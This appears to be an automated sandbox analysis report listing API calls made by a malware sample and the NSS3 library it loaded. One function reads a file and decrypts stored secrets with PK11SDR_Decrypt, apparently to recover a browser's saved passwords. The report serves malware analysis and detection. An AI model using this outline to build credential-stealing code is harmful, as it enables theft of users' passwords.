PR_Unlock.NSS3(?), ref: 6C772FCA
TlsGetValue.KERNEL32 ref: 6C77301A
EnterCriticalSection.KERNEL32(?), ref: 6C77302E
PR_Unlock.NSS3(?), ref: 6C773066
PR_SetError.NSS3(00000000,00000000), ref: 6C773085
PR_Unlock.NSS3(?), ref: 6C7730EC
TlsGetValue.KERNEL32 ref: 6C77310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C773124
PR_Unlock.NSS3(?), ref: 6C77314C

Part of subcall function 6C759180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C78379E,?,6C759568,00000000,?,6C78379E,?,00000001,?), ref: 6C75918D
Part of subcall function 6C759180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C78379E,?,6C759568,00000000,?,6C78379E,?,00000001,?), ref: 6C7591A0

Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207AD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207CD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207D6
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6B204A), ref: 6C7207E4
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,6C6B204A), ref: 6C720864
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C720880
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,6C6B204A), ref: 6C7208CB
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208D7
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208FB

PR_SetError.NSS3(00000000,00000000), ref: 6C77316D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 67affb01113380f3d4d154a3a60cff80c92a26575685b1ee8444fe4ffd11ce58
Instruction ID: d515879955df0cf4fcb9bda52919f5834750e7fa43bd1347cc96a461d0098f8a
Opcode Fuzzy Hash: 67affb01113380f3d4d154a3a60cff80c92a26575685b1ee8444fe4ffd11ce58
Instruction Fuzzy Hash: 65F1BEB1D00608EFDF20DF68D988B99BBB5BF09318F144169EC15A7711EB31E895CBA1

Function 6C774C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C774C4C
EnterCriticalSection.KERNEL32(?), ref: 6C774C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C774CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C774CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C774CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C774D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C774D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C774DB7

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207AD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207CD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207D6
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6B204A), ref: 6C7207E4
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,6C6B204A), ref: 6C720864
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C720880
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,6C6B204A), ref: 6C7208CB
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208D7
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208FB

TlsGetValue.KERNEL32 ref: 6C774DD7
EnterCriticalSection.KERNEL32(?), ref: 6C774DEC
PR_Unlock.NSS3(?), ref: 6C774E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C774E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C774E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C774E71
free.MOZGLUE(00000000), ref: 6C774E7A
PR_Unlock.NSS3(?), ref: 6C774EA2
TlsGetValue.KERNEL32 ref: 6C774EC1
EnterCriticalSection.KERNEL32(?), ref: 6C774ED6
PR_Unlock.NSS3(?), ref: 6C774F01
free.MOZGLUE(00000000), ref: 6C774F2A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 1c8d4f028d2c0fc7f68d1dc3486cb97ec31062f227820651c5ccf9a3ee016066
Instruction ID: 5ba109392bc12dd89ee2de1aea455265c796fc835978f37b6a68dfd19963b1af
Opcode Fuzzy Hash: 1c8d4f028d2c0fc7f68d1dc3486cb97ec31062f227820651c5ccf9a3ee016066
Instruction Fuzzy Hash: 82B1D075A002099FDF21EF68DA49AAA77B8BF0A31CF054134E91597B01E734E964CFE1

Function 0040CA90 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040CAA5

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,02F751E0,00000000,?,00421544,00000000,?,?), ref: 0040CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CBA8
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CBB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CBD9
StrStrA.SHLWAPI(?,02F751F8,00420B56), ref: 0040CBF7
StrStrA.SHLWAPI(00000000,02F75378), ref: 0040CC1E
StrStrA.SHLWAPI(?,02F75DA8,00000000,?,00421550,00000000,?,00000000,00000000,?,02F6ED98,00000000,?,0042154C,00000000,?), ref: 0040CDA2
StrStrA.SHLWAPI(00000000,02F75EE8), ref: 0040CDB9

Part of subcall function 0040C920: memset.MSVCRT ref: 0040C953
Part of subcall function 0040C920: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02F6EF18), ref: 0040C971
Part of subcall function 0040C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
Part of subcall function 0040C920: PK11_GetInternalKeySlot.NSS3 ref: 0040C98A
Part of subcall function 0040C920: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C9A5
Part of subcall function 0040C920: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C9EB
Part of subcall function 0040C920: memcpy.MSVCRT(?,?,?), ref: 0040CA12
Part of subcall function 0040C920: PK11_FreeSlot.NSS3(?), ref: 0040CA61

StrStrA.SHLWAPI(?,02F75EE8,00000000,?,00421554,00000000,?,00000000,02F6EF18), ref: 0040CE5A
StrStrA.SHLWAPI(00000000,02F6ECB8), ref: 0040CE71

Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

lstrlenA.KERNEL32(00000000), ref: 0040CF44
CloseHandle.KERNEL32(00000000), ref: 0040CF9C
NSS_Shutdown.NSS3 ref: 0040CFAA

Strings

, xrefs: 0040CAC6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 3555573487-3916222277
Opcode ID: 5daa5f6d66ba1f8a50f2ce9c702c93a1a5f276b3eddcebdd6655cdaf5b281942
Instruction ID: 4fdc336044367871c69213567fe42fce90f61d04e08d5fff212e48b059342ccf
Opcode Fuzzy Hash: 5daa5f6d66ba1f8a50f2ce9c702c93a1a5f276b3eddcebdd6655cdaf5b281942
Instruction Fuzzy Hash: 2AE13E71D05108ABCB14EBA1DCA6FEEB779AF14304F00419EF10663191EF387A99CB69

Function 6C745DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C745DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C745E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C745E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C745E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C745EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C745ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C745F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C745F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C745F89
free.MOZGLUE(?), ref: 6C745FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C745FB6
free.MOZGLUE(00000000), ref: 6C745FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C74600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C746079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C746084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C746094

Strings

, xrefs: 6C745EEB

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: da8a72a99f5f515c3e88b98f4719150334743339056394b09c34c70934199796
Instruction ID: 537cb44355998af0edb0ead21f4b5d2ce1a2c207682ae4c5dfcc935e9d8637b9
Opcode Fuzzy Hash: da8a72a99f5f515c3e88b98f4719150334743339056394b09c34c70934199796
Instruction Fuzzy Hash: D58127B1E002159BDB50CB64EE88B9E77B4AF05318F14C138E919E7B91E731E914CBD2

Function 6C766D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C766D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C766DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C766DC3

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C766DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C766DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C766E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C766E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C766E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C766EB9

Strings

ulDataLen = %d, xrefs: 6C766E0E
pulDigestLen = 0x%p, xrefs: 6C766E42
hSession = 0x%x, xrefs: 6C766D9E, 6C766DAE
pDigest = 0x%p, xrefs: 6C766E27
pData = 0x%p, xrefs: 6C766DF5
(CK_INVALID_HANDLE), xrefs: 6C766DBC
*pulDigestLen = 0x%x, xrefs: 6C766EB4
C_Digest, xrefs: 6C766D81

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 0325d674852e2161090980c7b0e00146814c0db7ab45d1400da1edba4a14a866
Instruction ID: f9de61af5d1ced20f7b756260fadb0f4784ecd222982d6548fc3e22f3c932057
Opcode Fuzzy Hash: 0325d674852e2161090980c7b0e00146814c0db7ab45d1400da1edba4a14a866
Instruction Fuzzy Hash: 2E41B735601008AFDB209F59DF4DA9A3BB5BF9631DF848435E908A7F12DB34A918CBD1

Function 6C769C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C769C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C769C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C769CA3

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C769CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C769CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C769CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C769D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C769D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C769D42

Strings

hSession = 0x%x, xrefs: 6C769C7E, 6C769C8E
pUsername = 0x%p, xrefs: 6C769D24
ulUsernameLen = %d, xrefs: 6C769D3D
(CK_INVALID_HANDLE), xrefs: 6C769C9C
C_LoginUser, xrefs: 6C769C61
pPin = 0x%p, xrefs: 6C769CF0
ulPinLen = %d, xrefs: 6C769D0B
userType = 0x%x, xrefs: 6C769CD5

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 76f5984d0263de5468c1ab2b2adae4fb05a859fd27b84d2999609d2fc1a53fb0
Instruction ID: 5d4faf19daeb29b44d2ead89241127f922385d406e93c6acd11635559244234e
Opcode Fuzzy Hash: 76f5984d0263de5468c1ab2b2adae4fb05a859fd27b84d2999609d2fc1a53fb0
Instruction Fuzzy Hash: FA41E431601048ABDB208F19DF4DE9A3BB5AF6231DF448474E80867F12DB34A828DBE1

Function 6C849C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C849C70
PR_NewLock.NSS3 ref: 6C849C85

Part of subcall function 6C7F98D0: calloc.MOZGLUE(00000001,00000084,6C720936,00000001,?,6C72102C), ref: 6C7F98E5

PR_NewCondVar.NSS3(00000000), ref: 6C849C96

Part of subcall function 6C71BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7221BC), ref: 6C71BB8C

PR_NewLock.NSS3 ref: 6C849CA9

Part of subcall function 6C7F98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7F9946
Part of subcall function 6C7F98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B16B7,00000000), ref: 6C7F994E
Part of subcall function 6C7F98D0: free.MOZGLUE(00000000), ref: 6C7F995E

PR_NewLock.NSS3 ref: 6C849CB9
PR_NewLock.NSS3 ref: 6C849CC9
PR_NewCondVar.NSS3(00000000), ref: 6C849CDA

Part of subcall function 6C71BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C71BBEB
Part of subcall function 6C71BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C71BBFB
Part of subcall function 6C71BB80: GetLastError.KERNEL32 ref: 6C71BC03
Part of subcall function 6C71BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C71BC19
Part of subcall function 6C71BB80: free.MOZGLUE(00000000), ref: 6C71BC22

PR_NewCondVar.NSS3(?), ref: 6C849CF0
PR_NewPollableEvent.NSS3 ref: 6C849D03

Part of subcall function 6C83F3B0: PR_CallOnce.NSS3(6C8914B0,6C83F510), ref: 6C83F3E6
Part of subcall function 6C83F3B0: PR_CreateIOLayerStub.NSS3(6C89006C), ref: 6C83F402
Part of subcall function 6C83F3B0: PR_Malloc.NSS3(00000004), ref: 6C83F416
Part of subcall function 6C83F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C83F42D
Part of subcall function 6C83F3B0: PR_SetSocketOption.NSS3(?), ref: 6C83F455
Part of subcall function 6C83F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C83F473

Part of subcall function 6C7F9890: TlsGetValue.KERNEL32(?,?,?,6C7F97EB), ref: 6C7F989E

EnterCriticalSection.KERNEL32(?), ref: 6C849D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C849DAF
_PR_CreateThread.NSS3(00000000,6C849EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C849D9F

Part of subcall function 6C71B3C0: TlsGetValue.KERNEL32 ref: 6C71B403
Part of subcall function 6C71B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C71B459

_PR_CreateThread.NSS3(00000000,6C84A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C849DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C849DFC
_PR_CreateThread.NSS3(00000000,6C84A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C849E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C849E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C849E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C849E89

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: e98bb6625a7153f2c7856ef4859f1445903c08c30b7e87c4d47cc033ef0f8dcc
Instruction ID: ce79e9bcc5b05b7b975c6f58c6d1cdafba156680f1726d41c441a56cc86415b6
Opcode Fuzzy Hash: e98bb6625a7153f2c7856ef4859f1445903c08c30b7e87c4d47cc033ef0f8dcc
Instruction Fuzzy Hash: 456131B1901706AFD720DF75DA48A67BBE8FF09208B04893AE859C7B11E770E514CBA1

Function 6C788E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C788E01,00000000,6C789060,6C890B64), ref: 6C788E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C788E01,00000000,6C789060,6C890B64), ref: 6C788E9E
PORT_ArenaAlloc_Util.NSS3(6C890B64,00000001,?,?,?,?,6C788E01,00000000,6C789060,6C890B64), ref: 6C788EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C788E01,00000000,6C789060,6C890B64), ref: 6C788EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C788E01,00000000,6C789060,6C890B64), ref: 6C788ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C788E01,00000000,6C789060,6C890B64), ref: 6C788EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C788E01), ref: 6C788EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C890B64,6C890B64), ref: 6C788F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C788F3F

Part of subcall function 6C78A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C78A421,00000000,00000000,6C789826), ref: 6C78A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C788E76

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 7aa6122532ec74454558b476914e48b1499429b507aa710e32d14f21a379e3dd
Instruction ID: 00a0fcd56dc552ebc0228648b3512df8fcb6857ea2ac11a300765022e0cc7f18
Opcode Fuzzy Hash: 7aa6122532ec74454558b476914e48b1499429b507aa710e32d14f21a379e3dd
Instruction Fuzzy Hash: 7661C1B5D0120AABDB10CF55CE80AAFB7B9FF94358F148538DD18A7700E732A915CBA0

Function 6C764E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C764E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C764EB8
